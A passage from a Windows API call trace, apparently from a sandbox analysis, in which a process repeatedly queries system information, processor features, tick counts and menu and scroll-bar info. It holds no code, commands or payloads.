wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.695] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.695] GetTickCount () returned 0x1c30f [0053.695] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.695] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.695] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.696] GetTickCount () returned 0x1c30f [0053.696] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.696] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.696] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.696] GetTickCount () returned 0x1c30f [0053.696] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.696] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.696] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.696] GetTickCount () returned 0x1c30f [0053.696] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.696] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.696] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.696] GetTickCount () returned 0x1c30f [0053.696] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.696] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.696] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.696] GetTickCount () returned 0x1c30f [0053.696] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.696] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.696] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.696] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.697] GetTickCount () returned 0x1c30f [0053.697] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.697] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.697] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.697] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.697] GetTickCount () returned 0x1c30f [0053.697] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.697] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.697] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.697] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.697] GetTickCount () returned 0x1c30f [0053.697] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.697] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.697] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.697] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.697] GetTickCount () returned 0x1c30f [0053.697] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.697] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.697] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.697] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.697] GetTickCount () returned 0x1c30f [0053.697] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.697] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.697] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.697] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.698] GetTickCount () returned 0x1c30f [0053.698] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.698] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.698] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.698] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.698] GetTickCount () returned 0x1c30f [0053.698] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.698] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.698] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.698] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.698] GetTickCount () returned 0x1c30f [0053.698] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.698] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.698] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.698] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.698] GetTickCount () returned 0x1c30f [0053.698] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.698] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.698] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.698] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.698] GetTickCount () returned 0x1c30f [0053.698] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.698] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.698] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.698] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.699] GetTickCount () returned 0x1c30f [0053.699] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.699] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.699] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.699] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.699] GetTickCount () returned 0x1c30f [0053.699] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.699] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.699] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.699] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.699] GetTickCount () returned 0x1c30f [0053.699] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.699] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.699] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.699] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.699] GetTickCount () returned 0x1c30f [0053.699] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.699] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.699] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.700] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.700] GetTickCount () returned 0x1c31f [0053.700] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.700] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.700] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.700] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.700] GetTickCount () returned 0x1c31f [0053.700] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.700] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.700] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.700] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.700] GetTickCount () returned 0x1c31f [0053.700] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.700] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.700] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.700] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.700] GetTickCount () returned 0x1c31f [0053.700] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.700] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.700] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.700] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.700] GetTickCount () returned 0x1c31f [0053.700] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.700] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.701] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.701] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.701] GetTickCount () returned 0x1c31f [0053.701] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.701] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.701] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.701] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.701] GetTickCount () returned 0x1c31f [0053.701] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.701] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.701] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.701] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.701] GetTickCount () returned 0x1c31f [0053.701] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.701] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.701] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.701] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.701] GetTickCount () returned 0x1c31f [0053.701] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.701] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.701] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.701] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.701] GetTickCount () returned 0x1c31f [0053.701] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.701] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.702] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.702] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.702] GetTickCount () returned 0x1c31f [0053.702] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.702] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.702] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.702] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.702] GetTickCount () returned 0x1c31f [0053.702] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.702] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.702] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.702] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.702] GetTickCount () returned 0x1c31f [0053.702] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.702] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.702] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.702] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.702] GetTickCount () returned 0x1c31f [0053.702] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.702] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.702] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.702] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.702] GetTickCount () returned 0x1c31f [0053.702] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.702] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.703] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.703] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.703] GetTickCount () returned 0x1c31f [0053.703] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.703] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.703] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, 